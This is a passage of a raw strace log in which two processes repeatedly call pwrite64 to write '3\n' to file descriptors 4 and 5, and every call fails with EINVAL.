[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
